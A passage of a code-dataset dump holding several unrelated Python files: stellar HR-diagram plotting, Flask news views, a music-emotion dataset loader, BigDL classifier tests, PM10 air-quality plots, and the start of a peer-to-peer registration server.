Hayashi_end(h1)\n r_ms_1 = np.array([r_0_ms, r_1_ms, r_m_ms, r_k_ms, r_t_ms])\n l_ms_1 = np.array([l_0_ms, l_1_ms, l_m_ms, l_k_ms, l_t_ms])\n r_ms_2 = np.array([r_0_ms, r_1_ms, r_km_ms, r_em_ms, r_ke_ms, r_3_ms])\n l_ms_2 = np.array([l_0_ms, l_1_ms, l_km_ms, l_em_ms, l_ke_ms, l_3_ms])\n labell = r'$X_{c}(^{12}C)<10^{-8}$'\n\n\nax1.set_ylim(4.1,5.3)\nax1.set_xlim(0.5,3.2)\nax2.set_ylim(4.1,5.3)\nax2.set_xlim(0.5,3.2)\n\nax1.legend(fontsize=12, ncol=2, framealpha=0.5,loc=2, frameon=False)\nax2.legend(fontsize=12, ncol=1, framealpha=0.5,loc=2, frameon=False)\n\nax1.set_yticks([4.2,4.4,4.6,4.8,5.0,5.2])\nax2.set_yticks([4.2,4.4,4.6,4.8,5.0,5.2])\nax1.set_xticks([0.5,1.,1.5,2.,2.5,3.])\nax2.set_xticks([0.5,1.,1.5,2.,2.5,3.])\n\n\nax1.set_ylabel('log$_{10}$(L/L$_{\\odot}$)',fontsize=20)\nax1.set_title('High Z',fontsize=20)\nax2.set_ylabel('log$_{10}$(L/L$_{\\odot}$)',fontsize=20)\nax2.set_xlabel('log$_{10}$(R/R$_{\\odot}$)',fontsize=20)\n\n\nh0l = mr.MesaData('data/low_Z_2Z/Z1e-3/LOGS/history.data')\nTeff0l, R0l, L0l = choseMS(h0l)\nax3.plot(R0l, L0l, color='k', zorder=0, label='$Z=10^{-3}$ (model 10)', linewidth=width_fiducial)\nax4.plot(R0l, L0l, color='k', zorder=0., linewidth=width_fiducial)\n\nhl_mu = mr.MesaData('data/low_Z_2Z/Z1e-3_Zmu_2e-3/LOGS/history.data')\nTeff_mul, R_mul, L_mul = choseMS(hl_mu)\nax3.plot(R_mul, L_mul, color='limegreen', zorder=1, linestyle='--', linewidth=width_mp, label=r'$Z_{\\mu}=2\\times10^{-3}$ (model 11)')\n\nhl_kap = mr.MesaData('data/low_Z_2Z/Z1e-3_Zkap_2e-3/LOGS/history.data')\nTeff_kl, R_kl, L_kl = choseMS(hl_kap)\nax3.plot(R_kl, L_kl, color='mediumblue', zorder=1, linestyle='--', linewidth=width_mp, label=r'$Z_{\\kappa}=2\\times10^{-3}$ (model 12)')\n\nhl_eps_0 = mr.MesaData('data/low_Z_2Z/Z1e-3_Zeps_2e-3/LOGS/history.data')\nTeff_tl, R_tl, L_tl = choseMS(hl_eps_0)\nax3.plot(R_tl, L_tl, color='palevioletred', zorder=1,linestyle='--', linewidth=width_mp, label=r'$Z_{\\epsilon}=2\\times10^{-3}$ (model 13)')\n\nhl_km = mr.MesaData('data/low_Z_2Z/Z1e-3_Zkap_mu_2e-3/LOGS/history.data')\nTeff_kml, R_kml, L_kml = choseMS(hl_km)\nax4.plot(R_kml, L_kml, color='darkorange', zorder=1, linestyle='--', linewidth=width_mp, label=r'$Z_{\\mu,\\kappa}=2\\times10^{-3}$ (model 14)')\n\nhl_em = mr.MesaData('data/low_Z_2Z/Z1e-3_Zmu_eps_2e-3/LOGS/history.data')\nTeff_eml, R_eml, L_eml = choseMS(hl_em)\nax4.plot(R_eml, L_eml, color='magenta', zorder=1, linestyle='--', linewidth=width_mp, label=r'$Z_{\\mu,\\epsilon}=2\\times10^{-3}$ (model 15)')\n\nhl_ke = mr.MesaData('data/low_Z_2Z/Z1e-3_Zkap_eps_2e-3/LOGS/history.data')\n# print(len(hl_ke.center_c12))\n# print(hl_ke.center_c12)\nTeff_kel, R_kel, L_kel = choseMS(hl_ke)\nax4.plot(R_kel, L_kel, color='dodgerblue', zorder=1, linestyle='--', linewidth=width_mp, label=r'$Z_{\\kappa,\\epsilon}=2\\times10^{-3}$ (model 16)')\n\nhl_3 = mr.MesaData('data/low_Z_2Z/Z1e-3_Zkap_mu_eps_2e-3/LOGS/history.data')\nTeff_3l, R_3l, L_3l = choseMS(hl_3)\nax4.plot(R_3l, L_3l, color='dimgray', zorder=1, linestyle='--', linewidth=width_mp, label=r'$Z_{\\mu,\\kappa,\\epsilon}=2\\times10^{-3}$ (model 17)')\n\nh1l = mr.MesaData('data/low_Z_2Z/Z2e-3_wind1e-3_use_min/LOGS/history.data')\n\nTeff1l, R1l, L1l = choseMS(h1l)\nax3.plot(R1l, L1l, color='maroon', zorder=0, label=r'$Z=2\\times10^{-3}$ (model 18)', linewidth=width_fiducial)\nax4.plot(R1l, L1l, color='maroon', zorder=0, linewidth=width_fiducial)\n\nfor epoch in epoch_l:\n if epoch == 'EMS':\n r_0_ms, l_0_ms, t_0_ms = EndOfMS(h0l)\n r_m_ms, l_m_ms, t_m_ms = EndOfMS(hl_mu)\n r_ke_ms, l_ke_ms, t_ke_ms = EndOfMS(hl_ke)\n r_k_ms, l_k_ms, t_k_ms = EndOfMS(hl_kap)\n r_t_ms, l_t_ms, t_t_ms = EndOfMS(hl_eps_0)\n r_km_ms, l_km_ms, t_km_ms = EndOfMS(hl_km)\n r_em_ms, l_em_ms, t_em_ms = EndOfMS(hl_em)\n r_3_ms, l_3_ms, t_3_ms = EndOfMS(hl_3)\n r_1_ms, l_1_ms, t_1_ms = EndOfMS(h1l)\n r_ms_1 = np.array([r_0_ms, r_1_ms, r_m_ms, r_k_ms, r_t_ms])\n l_ms_1 = np.array([l_0_ms, l_1_ms, l_m_ms, l_k_ms, l_t_ms])\n r_ms_2 = np.array([r_0_ms, r_1_ms, r_km_ms, r_em_ms, r_ke_ms, r_3_ms])\n l_ms_2 = np.array([l_0_ms, l_1_ms, l_km_ms, l_em_ms, l_ke_ms, l_3_ms])\n labell = r'$R_{\\rm max, EMS}$'\n ax3.scatter(r_ms_1, l_ms_1, edgecolors='k', c='cyan', marker='*', s=250, zorder=5)\n ax4.scatter(r_ms_2, l_ms_2, edgecolors='k', c='cyan', marker='*', s=250, zorder=5)\n elif epoch == 'He ignition':\n r_0_ms, l_0_ms = He_ignition(h0l)\n r_m_ms, l_m_ms = He_ignition(hl_mu)\n r_ke_ms, l_ke_ms = He_ignition(hl_ke)\n r_k_ms, l_k_ms = He_ignition(hl_kap)\n r_t_ms, l_t_ms = He_ignition(hl_eps_0)\n r_km_ms, l_km_ms = He_ignition(hl_km)\n r_em_ms, l_em_ms = He_ignition(hl_em)\n r_3_ms, l_3_ms = He_ignition(hl_3)\n r_1_ms, l_1_ms = He_ignition(h1l)\n r_ms_1 = np.array([r_0_ms, r_1_ms, r_m_ms, r_k_ms, r_t_ms])\n l_ms_1 = np.array([l_0_ms, l_1_ms, l_m_ms, l_k_ms, l_t_ms])\n r_ms_2 = np.array([r_0_ms, r_1_ms, r_km_ms, r_em_ms, r_ke_ms, r_3_ms])\n l_ms_2 = np.array([l_0_ms, l_1_ms, l_km_ms, l_em_ms, l_ke_ms, l_3_ms])\n labell = r'$X_c(^4{\\rm He})=90\\%$'\n ax3.scatter(r_ms_1, l_ms_1, edgecolors='k', c='yellow',marker='P',s=100, zorder=5)\n ax4.scatter(r_ms_2, l_ms_2, edgecolors='k', c='yellow',marker='P',s=100, zorder=5)\n elif epoch == 'Hertzsprung':\n r_0_ms, l_0_ms = max_drdt(h0l)\n r_m_ms, l_m_ms = max_drdt(hl_mu)\n r_ke_ms, l_ke_ms = max_drdt(hl_ke)\n r_k_ms, l_k_ms = max_drdt(hl_kap)\n r_t_ms, l_t_ms = max_drdt(hl_eps_0)\n r_km_ms, l_km_ms = max_drdt(hl_km)\n r_em_ms, l_em_ms = max_drdt(hl_em)\n r_3_ms, l_3_ms = max_drdt(hl_3)\n r_1_ms, l_1_ms = max_drdt(h1l)\n r_ms_1 = np.array([r_0_ms, r_1_ms, r_m_ms, r_k_ms, r_t_ms])\n l_ms_1 = np.array([l_0_ms, l_1_ms, l_m_ms, l_k_ms, l_t_ms])\n r_ms_2 = np.array([r_0_ms, r_1_ms, r_km_ms, r_em_ms, r_ke_ms, r_3_ms])\n l_ms_2 = np.array([l_0_ms, l_1_ms, l_km_ms, l_em_ms, l_ke_ms, l_3_ms])\n labell = 'Maximum $dlogR/dt$'\n ax3.scatter(r_ms_1,l_ms_1, edgecolors='k', c='lime',marker='o',s=100,zorder=5)\n ax4.scatter(r_ms_2,l_ms_2, edgecolors='k', c='lime',marker='o',s=100,zorder=5)\n elif epoch == 'Convective Env Fraction':\n r_0_ms, l_0_ms = ConvectiveFraction(h0l,p)\n r_m_ms, l_m_ms = ConvectiveFraction(hl_mu,p)\n r_ke_ms, l_ke_ms = ConvectiveFraction(hl_ke,p)\n r_k_ms, l_k_ms = ConvectiveFraction(hl_kap,p)\n r_t_ms, l_t_ms = ConvectiveFraction(hl_eps_0,p)\n r_km_ms, l_km_ms = ConvectiveFraction(hl_km,p)\n r_em_ms, l_em_ms = ConvectiveFraction(hl_em,p)\n r_3_ms, l_3_ms = ConvectiveFraction(hl_3,p)\n r_1_ms, l_1_ms = ConvectiveFraction(h1l,p)\n r_ms_1 = np.array([r_0_ms, r_1_ms, r_m_ms, r_k_ms, r_t_ms])\n l_ms_1 = np.array([l_0_ms, l_1_ms, l_m_ms, l_k_ms, l_t_ms])\n r_ms_2 = np.array([r_0_ms, r_1_ms, r_km_ms, r_em_ms, r_ke_ms, r_3_ms])\n l_ms_2 = np.array([l_0_ms, l_1_ms, l_km_ms, l_em_ms, l_ke_ms, l_3_ms])\n labell = r'$f_{\\rm conv, env}=0.5$'\n ax3.scatter(r_ms_1,l_ms_1, edgecolors='k', c='orchid',marker='X',s=100,zorder=5)\n ax4.scatter(r_ms_2,l_ms_2, edgecolors='k', c='orchid',marker='X',s=100,zorder=5)\n elif epoch == 'Hayashi const L':\n r_0_ms = Hayashi(h0l,l_hay_low_z)\n r_m_ms = Hayashi(hl_mu,l_hay_low_z)\n r_ke_ms = Hayashi(hl_ke,l_hay_low_z)\n r_k_ms = Hayashi(hl_kap,l_hay_low_z)\n r_t_ms = Hayashi(hl_eps_0,l_hay_low_z)\n r_km_ms = Hayashi(hl_km,l_hay_low_z)\n r_em_ms = Hayashi(hl_em,l_hay_low_z)\n r_3_ms = Hayashi(hl_3,l_hay_low_z)\n r_1_ms = Hayashi(h1l,l_hay_low_z)\n r_ms_1 = np.array([r_0_ms, r_1_ms, r_m_ms, r_k_ms, r_t_ms])\n l_ms_1 = np.array([l_hay_low_z, l_hay_low_z, l_hay_low_z, l_hay_low_z, l_hay_low_z])\n r_ms_2 = np.array([r_0_ms, r_1_ms, r_km_ms, r_em_ms, r_ke_ms, r_3_ms])\n l_ms_2 = np.array([l_hay_low_z, l_hay_low_z, l_hay_low_z, l_hay_low_z, l_hay_low_z, l_hay_low_z])\n labell = '$L=10^{5}L_{\\odot}$'\n ax3.scatter(r_ms_1,l_ms_1, edgecolors='k', c='pink',marker='D',s=80,zorder=5)\n ax4.scatter(r_ms_2,l_ms_2, edgecolors='k', c='pink',marker='D',s=80,zorder=5)\n elif epoch == 'C depletion':\n r_0_ms, l_0_ms = Hayashi_end(h0l)\n r_m_ms, l_m_ms = Hayashi_end(hl_mu)\n r_ke_ms, l_ke_ms = Hayashi_end(hl_ke)\n r_k_ms, l_k_ms = Hayashi_end(hl_kap)\n r_t_ms, l_t_ms = Hayashi_end(hl_eps_0)\n r_km_ms, l_km_ms = Hayashi_end(hl_km)\n r_em_ms, l_em_ms = Hayashi_end(hl_em)\n r_3_ms, l_3_ms = Hayashi_end(hl_3)\n r_1_ms, l_1_ms = Hayashi_end(h1l)\n r_ms_1 = np.array([r_0_ms, r_1_ms, r_m_ms, r_k_ms, r_t_ms])\n l_ms_1 = np.array([l_0_ms, l_1_ms, l_m_ms, l_k_ms, l_t_ms])\n r_ms_2 = np.array([r_0_ms, r_1_ms, r_km_ms, r_em_ms, r_ke_ms, r_3_ms])\n l_ms_2 = np.array([l_0_ms, l_1_ms, l_km_ms, l_em_ms, l_ke_ms, l_3_ms])\n labell = r'$X_{c}(^{12}C)<10^{-8}$'\n\n\nax3.legend(fontsize=12, ncol=1, framealpha=0.5,loc=4, frameon=False)\nax4.legend(fontsize=12, ncol=1, framealpha=0.5,loc=4, frameon=False)\n\nax3.set_xticks([0.5,1.,1.5,2.,2.5,3.])\nax3.set_title('Low Z',fontsize=20)\nax4.set_xticks([0.5,1.,1.5,2.,2.5,3.])\n\nax4.set_xlabel('log$_{10}$(R/R$_{\\odot}$)',fontsize=20)\n\nplt.tight_layout()\n# plt.savefig('figures/HR-4panel.pdf')\nplt.show()\n","sub_path":"python/HRDs.py","file_name":"HRDs.py","file_ext":"py","file_size_in_byte":25204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"152843424","text":"from flask import render_template\nfrom . import main\nfrom ..request import get_articles, get_sources\n\n\n\n# Views\n@main.route('/')\ndef index():\n\n '''\n View root page function that returns the index page and its data\n '''\n # Getting popular movie\n new_source = get_sources()\n business_source = get_sources()\n entertainment_source = get_sources()\n sports_source = get_sources()\n # print(sources)\n title = 'Home - Welcome to The best Movie Review Website Online'\n return render_template('index.html', title = title,new = new_source, business = business_source , entertainment = entertainment_source, sports = sports_source )\n\n@main.route('/articles/')\ndef articles(sources_id):\n \n '''\n View news page function that returns the news details page and its data\n '''\n articles = get_articles(sources_id)\n # print(articles)\n \n return render_template('articles.html',articles = articles )\n","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"497180345","text":"import csv\nfrom data.audio import AudioReader\nfrom data.emotion import EmotionReader\nimport numpy as np\nimport os\nimport torch\nfrom torch.utils.data import Dataset\n\ndirectory = 'data/PMEmo2019/'\n\ndef paths():\n walk = os.walk(directory + 'chorus/')\n paths = {}\n for dir in walk:\n for file in dir[2]:\n if file.endswith('.mp3'):\n i = int(file[:file.index('.mp3')])\n path = dir[0] + file\n paths[i] = path\n return paths\n\ndef annotation(path):\n with open(path, newline='') as csvfile:\n annotations = csv.reader(csvfile, delimiter=',')\n data = []\n for row in annotations:\n point = []\n for x in row:\n point.append(x)\n data.append(point)\n return np.array(data[1:], dtype=np.float64)\n\ndef index():\n array = annotation(directory + 'annotations/static_annotations.csv')\n return array[:,0]\n\ndef static_mean():\n array = annotation(directory + 'annotations/static_annotations.csv')\n return array[:,1:]\n\ndef static_std():\n array = annotation(directory + 'annotations/static_annotations_std.csv')\n return array[:,1:]\n\ndef static():\n mean = static_mean()\n std = static_std()\n return np.hstack([mean, std])\n\nclass PMEmo(Dataset):\n def __init__(self, size=256, audio_channels=2, spectrogram=False, offset=0,\n cache=False):\n self.paths = paths()\n self.index = index()\n self.static = static()\n self.read_audio = AudioReader(size, audio_channels, spectrogram, offset)\n self.channels = self.read_audio.channels\n self.audio = {}\n self.cache = cache\n self.read_emotion = EmotionReader()\n\n def __getitem__(self, i):\n key = self.index[i]\n if key in self.audio:\n audio = self.audio[key]\n else:\n audio = self.read_audio(self.paths[key])\n if self.cache:\n self.audio[key] = audio\n emotion = self.read_emotion(self.static[i])\n return audio, emotion\n\n def __len__(self):\n return len(self.index)\n","sub_path":"data/pmemo.py","file_name":"pmemo.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"173964204","text":"#\n# Copyright 2016 The BigDL Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom bigdl.nn.layer import *\nfrom bigdl.nn.criterion import *\nfrom bigdl.util.common import *\nfrom bigdl.models.ml_pipeline.dl_classifier import *\nfrom pyspark.sql.types import *\nfrom pyspark.context import SparkContext\nimport numpy as np\nimport pytest\nfrom numpy.testing import assert_allclose\n\n\nclass TestDLClassifer():\n def setup_method(self, method):\n \"\"\" setup any state tied to the execution of the given method in a\n class. setup_method is invoked for every test method of a class.\n \"\"\"\n sparkConf = create_spark_conf().setMaster(\"local[1]\").setAppName(\"test model\")\n self.sc = get_spark_context(sparkConf)\n self.sqlContext = SQLContext(self.sc)\n init_engine()\n\n def teardown_method(self, method):\n \"\"\" teardown any state that was previously setup with a setup_method\n call.\n \"\"\"\n self.sc.stop()\n\n def test_all_set_get_methods(self):\n \"\"\" run tests for all the set and get methods involved in DLEstimator, DLModel,\n DLClassifier, DLClassifierModel\n \"\"\"\n\n '''\n use linear model and MSE criterion to test the DLEstimator and DLModel\n '''\n linear_model = Sequential().add(Linear(2, 2))\n mse_criterion = MSECriterion()\n\n '''\n initialize a DLEstimator to test setter, getter for\n batchSize, maxEpoch, learningRate in DLEstimator\n '''\n estimator = DLEstimator(model=linear_model, criterion=mse_criterion,\n feature_size=[2], label_size=[2])\n\n # check the set and get methods for batchSize\n assert estimator.setBatchSize(30).getBatchSize() == 30\n # check the set and get methods for maxEpoch\n assert estimator.setMaxEpoch(40).getMaxEpoch() == 40\n # check the set and get methods for learningRate\n assert estimator.setLearningRate(1e-4).getLearningRate() == 1e-4\n\n '''\n initialize a DLModel to test setter, getter for featureSize, batchSize in DLModel\n '''\n dl_model = DLClassifierModel(model=linear_model, featureSize=[1])\n\n # check the set and get methods for featureSize in DLModel\n assert dl_model.setFeatureSize([2]).getFeatureSize() == [2]\n # check the set and get methods for batchSize in DLModel\n assert dl_model.setBatchSize((20)).getBatchSize() == 20\n\n '''\n use linear model and ClassNLL criterion to test the DLClassifier and DLClassifierModel\n '''\n linear_model = Sequential().add(Linear(2, 2))\n classNLL_criterion = ClassNLLCriterion()\n\n '''\n initialize a DLClassifier to test setter, getter for\n batchSize, maxEpoch, learningRate in DLClassifier\n '''\n classifier = DLClassifier(model=linear_model, criterion=classNLL_criterion,\n feature_size=[2])\n\n # check the set and get methods for batchSize\n assert classifier.setBatchSize(20).getBatchSize() == 20\n # check the set and get methods for maxEpoch\n assert classifier.setMaxEpoch(50).getMaxEpoch() == 50\n # check the set and get methods for learningRate\n assert classifier.setLearningRate(1e-5).getLearningRate() == 1e-5\n '''\n initialize a DLClassifierModel to test setter, getter\n for featureSize, batchSize in DLClassifierModel\n '''\n dl_classifier_model = DLClassifierModel(model=linear_model, featureSize=[1])\n\n # check the set and get methods for featureSize\n assert dl_classifier_model.setFeatureSize([2]).getFeatureSize() == [2]\n\n # check the set and get methods for batchSize\n assert dl_classifier_model.setBatchSize((20)).getBatchSize() == 20\n\n def test_dlestimator_fit_dlmodel_transform(self):\n model = Sequential().add(Linear(2, 2))\n criterion = MSECriterion()\n estimator = DLEstimator(model, criterion, [2], [2]).setBatchSize(4)\\\n .setLearningRate(0.01).setMaxEpoch(1000)\n\n data = self.sc.parallelize([\n ((2.0, 1.0), (1.0, 2.0)),\n ((1.0, 2.0), (2.0, 1.0)),\n ((2.0, 1.0), (1.0, 2.0)),\n ((1.0, 2.0), (2.0, 1.0))])\n\n schema = StructType([\n StructField(\"features\", ArrayType(DoubleType(), False), False),\n StructField(\"label\", ArrayType(DoubleType(), False), False)])\n df = self.sqlContext.createDataFrame(data, schema)\n dlModel = estimator.fit(df)\n\n res = dlModel.transform(df)\n assert type(res).__name__ == 'DataFrame'\n res.registerTempTable(\"dlModelDF\") # Compatible with spark 1.6\n results = self.sqlContext.table(\"dlModelDF\")\n\n count = results.rdd.count()\n data = results.rdd.collect()\n\n for i in range(count):\n row_label = data[i][1]\n row_prediction = data[i][2]\n assert_allclose(row_label[0], row_prediction[0], atol=0, rtol=1e-1)\n assert_allclose(row_label[1], row_prediction[1], atol=0, rtol=1e-1)\n\n def test_dlclassifier_fit_dlclassifiermodel_transform(self):\n model = Sequential().add(Linear(2, 2))\n criterion = ClassNLLCriterion()\n classifier = DLClassifier(model, criterion, [2]).setBatchSize(4)\\\n .setLearningRate(0.01).setMaxEpoch(1000)\n data = self.sc.parallelize([\n ((2.0, 1.0), 1.0),\n ((1.0, 2.0), 2.0),\n ((2.0, 1.0), 1.0),\n ((1.0, 2.0), 2.0)])\n\n schema = StructType([\n StructField(\"features\", ArrayType(DoubleType(), False), False),\n StructField(\"label\", DoubleType(), False)])\n df = self.sqlContext.createDataFrame(data, schema)\n dlClassifierModel = classifier.fit(df)\n\n res = dlClassifierModel.transform(df)\n assert type(res).__name__ == 'DataFrame'\n res.registerTempTable(\"dlClassifierModelDF\")\n results = self.sqlContext.table(\"dlClassifierModelDF\")\n\n count = results.rdd.count()\n data = results.rdd.collect()\n\n for i in range(count):\n row_label = data[i][1]\n row_prediction = data[i][2]\n assert row_label == row_prediction\n\nif __name__ == \"__main__\":\n pytest.main()\n","sub_path":"pyspark/test/bigdl/test_dl_classifier.py","file_name":"test_dl_classifier.py","file_ext":"py","file_size_in_byte":6801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"409692425","text":"from pandas import read_csv, datetime\nfrom matplotlib import pyplot\nimport numpy as np\n\ndateparse = lambda x: datetime.strptime(x, '%d/%m/%y %H:%M')\ndateparse2 = lambda x: datetime.strptime(x, '%d/%m/%Y %I:%M:%S %p')\n\n# datetime_object = datetime.strptime('2/01/2019 12:00:00 am', '%d/%m/%Y %I:%M:%S %p')\n# print(datetime_object)\n\n\nkaiapoi = read_csv('../../data/Kaiapoi_Pure.csv', parse_dates=[\"DateTime\"], date_parser=dateparse)\nalbans = read_csv('../../data/St_Albans_Pure.csv', parse_dates=[\"DateTime\"], date_parser=dateparse2)\nwoolston = read_csv('../../data/Woolston_Pure.csv', parse_dates=[\"DateTime\"], date_parser=dateparse2)\nrangiora = read_csv('../../data/Rangiora_pure.csv', parse_dates=[\"DateTime\"], date_parser=dateparse2)\n\nkaiapoi = kaiapoi[kaiapoi.PM10 >= 0]\nalbans = albans[albans.PM10 >= 0]\nwoolston = woolston[woolston.PM10 >= 0]\nrangiora = rangiora[rangiora.PM10 >= 0]\n\nkaiapoi.describe().to_csv('../../export/Kaiapoi_describe.csv', encoding='utf-8')\nalbans.describe().to_csv('../../export/albans_describe.csv', encoding='utf-8')\nwoolston.describe().to_csv('../../export/woolston_describe.csv', encoding='utf-8')\nrangiora.describe().to_csv('../../export/rangiora_describe.csv', encoding='utf-8')\n\n# data_2018 = kaiapoi[(kaiapoi.DateTime >= datetime(2018, 1, 1)) & (kaiapoi.DateTime <= datetime(2019, 1, 1))]\n# print(data_2018)\n\nfig = pyplot.figure(figsize=(8, 8))\n\nkaiapoi_fig = fig.add_subplot(4, 1, 1)\nkaiapoi_fig.plot(kaiapoi[\"DateTime\"].values, kaiapoi[\"PM10\"].values)\nkaiapoi_fig.set_xlabel('Date Time', fontsize=10)\nkaiapoi_fig.set_ylabel('PM10 (ug/m3)', fontsize=10)\nkaiapoi_fig.set_title('Kaiapoi', fontsize=15)\nkaiapoi_fig.set_yticks(np.arange(0, 250, step=50))\nkaiapoi_fig.axhline(y=20, label=\"WHO Standard\", color=\"red\")\n\nalbans_fig = fig.add_subplot(4, 1, 2)\nalbans_fig.plot(albans[\"DateTime\"].values, albans[\"PM10\"].values)\nalbans_fig.set_xlabel('Date Time', fontsize=10)\nalbans_fig.set_ylabel('PM10 (ug/m3)', fontsize=10)\nalbans_fig.set_title('St Albans', fontsize=15)\nalbans_fig.set_yticks(np.arange(0, 250, step=50))\nalbans_fig.axhline(y=20, label=\"WHO Standard\", color=\"red\")\n\nwoolston_fig = fig.add_subplot(4, 1, 3)\nwoolston_fig.plot(woolston[\"DateTime\"].values, woolston[\"PM10\"].values)\nwoolston_fig.set_xlabel('Date Time', fontsize=10)\nwoolston_fig.set_ylabel('PM10 (ug/m3)', fontsize=10)\nwoolston_fig.set_title('Woolston', fontsize=15)\nwoolston_fig.set_yticks(np.arange(0, 250, step=50))\nwoolston_fig.axhline(y=20, label=\"WHO Standard\", color=\"red\")\n\nrangiora_fig = fig.add_subplot(4, 1, 4)\nrangiora_fig.plot(rangiora[\"DateTime\"].values, rangiora[\"PM10\"].values)\nrangiora_fig.set_xlabel('Date Time', fontsize=10)\nrangiora_fig.set_ylabel('PM10 (ug/m3)', fontsize=10)\nrangiora_fig.set_title('Rangiora', fontsize=15)\nrangiora_fig.set_yticks(np.arange(0, 250, step=50))\nrangiora_fig.axhline(y=20, label=\"WHO Standard\", color=\"red\")\n\npyplot.show()\n# pyplot.savefig(\"../../export/overall_line_1.png\")\n","sub_path":"src/plot/overall_plot.py","file_name":"overall_plot.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"493921920","text":"import time\r\nfrom datetime import datetime\r\nimport socket\r\nimport platform\r\nimport pickle\r\n\r\ncook_var =0 # glabal variable to assign cookies\r\nBUFFER_SIZE = 2048\r\n\r\ndef set_cook():\r\n global cook_var\r\n cook_var = cook_var +1\r\n return cook_var\r\n\r\nclass Peer():\r\n\r\n def __init__(self,host,port,cookie=None):\r\n self.host = host\r\n if cookie!= 'None':\r\n self.cookie=cookie\r\n self.active_no = update_active(host,reg_peerlist)\r\n else:\r\n self.cookie = set_cook()\r\n self.active_no =1\r\n self.active_flag = True\r\n self.TTL = 7200\r\n self.port = port\r\n self.recent_Time = time.strftime(\"%H:%M:%S\")\r\n\r\nclass PeerNode():\r\n def __init__(self,peer):\r\n self.peer_obj = peer\r\n self.next = None\r\n\r\nclass Peerlist():\r\n def __init__(self):\r\n self.head = None\r\n \r\n def add(self,peer_obj):\r\n node = PeerNode(peer_obj)\r\n node.next=self.head\r\n self.head = node\r\n \r\n def delete(self,host):\r\n tmp = self.head\r\n prev = None\r\n found = False\r\n\r\n while found == False:\r\n p_obj = tmp.peer_obj\r\n if p_obj.host == host:\r\n found = True\r\n else:\r\n prev = tmp\r\n tmp = tmp.next\r\n \r\n if prev == None:\r\n self.head = tmp.next\r\n else:\r\n prev.next = tmp.next\r\n \r\n \r\ndef isPresent(plist,host):\r\n tmp = plist.head\r\n while(tmp != None):\r\n p_obj = tmp.peer_obj\r\n if p_obj.host == host:\r\n return True\r\n tmp = tmp.next\r\n return False\r\n\r\ndef isStatus(plist,host): #checking whether my peer is active or not. Using it when peer who has registered with the server changes from inactive to active\r\n tmp = plist.head\r\n while tmp!=None:\r\n p_obj = tmp.peer_obj\r\n if p_obj.host == host and p_obj.active_flag == True:\r\n return True\r\n tmp = tmp.next\r\n return False\r\n\r\ndef setStatus(plist,host,status): #setting status to True if inactive user trying to become active and False when active-> inactive i.e leave msg\r\n tmp = plist.head\r\n while tmp!=None:\r\n p_obj = tmp.peer_obj\r\n if p_obj.host == host:\r\n p_obj.active_flag = status\r\n #should i change TTL value to 0 if it becomes inactive and 7200 when it becomes active\r\n break\r\n tmp = tmp.next\r\n\r\ndef getActive(plist):\r\n ret_list = Peerlist()\r\n tmp = plist.head\r\n while tmp!=None:\r\n p_obj = tmp.peer_obj\r\n if p_obj.active_flag == True:\r\n ret_list.add(p_obj)\r\n tmp = tmp.next\r\n \r\n return ret_list\r\n\r\ndef update_active(host,plist):\r\n tmp = plist.head\r\n while tmp!= None:\r\n p_obj = tmp.peer_obj\r\n if p_obj.host == host:\r\n p_obj.active_no = p_obj.active_no + 1\r\n break\r\n tmp = tmp.next\r\n\r\n \r\ndef set_TTL(plist,host):\r\n tmp = plist.head\r\n while tmp!=None:\r\n p_obj = tmp.peer_obj\r\n if p_obj.host == host and p_obj.active_flag == True:\r\n p_obj.TTL = 7200\r\n break\r\n tmp = tmp.next\r\n return False\r\n\r\ndef getDetail(msg):\r\n li = msg.split(\"\\n\")\r\n ret_host = li[1]\r\n ret_host = ret_host[ret_host.index('Host')+5:ret_host.index(' ')]\r\n\r\n ret_port = li[2]\r\n ret_port = ret_port[ret_port.index('Port')+5:ret_port.index(' ')]\r\n\r\n ret_cookie = li[3]\r\n ret_cookie = ret_cookie[ret_cookie.index('Cookie')+6:ret_cookie.index(' ')].strip() \r\n\r\n #print(\"Get Detail :\\n\")\r\n #print(ret_host,ret_port,ret_cookie)\r\n return ret_host,ret_port,ret_cookie\r\n\r\n\r\nreg_peerlist = Peerlist()\r\n\r\ndef main():\r\n PORT = 65500\r\n HOST = ''\r\n reg_peerlist = Peerlist()\r\n active_peerlist = Peerlist()\r\n \r\n\r\n\r\n socket_inp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\r\n socket_inp.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\r\n socket_inp.bind((HOST,PORT))\r\n socket_inp.listen(6) # maximum number in wait queue\r\n print(\"RS server started\")\r\n\r\n while True:\r\n con,address = socket_inp.accept()\r\n mf='utf-8'\r\n msg = con.recv(BUFFER_SIZE).decode(mf)\r\n \r\n host,port,cookie = getDetail(msg)\r\n print(\"Message from client:\\n \",msg)\r\n\r\n if 'Register' in msg:\r\n #if cookie == 'None':\r\n #p_obj = Peer(host,port)\r\n #else:\r\n p_obj = Peer(host,port,cookie)\r\n\r\n if isPresent(reg_peerlist,host) :\r\n setStatus(reg_peerlist,host,True)\r\n send_msg = 'POST Already exists cookie ' + str(p_obj.cookie) +' \\nFrom '+ socket.gethostname() +' \\nLast Message Sent: '+str(datetime.now())+' \\nOperating System ' + str(platform.platform()) +' \\n'\r\n con.send(send_msg.encode('utf-8'))\r\n con.close()\r\n \r\n else:\r\n reg_peerlist.add(p_obj)\r\n print(\"Sending back cookie info to the client\")\r\n send_msg = 'POST peer-cookie ' + str(p_obj.cookie) +' \\nFrom '+ 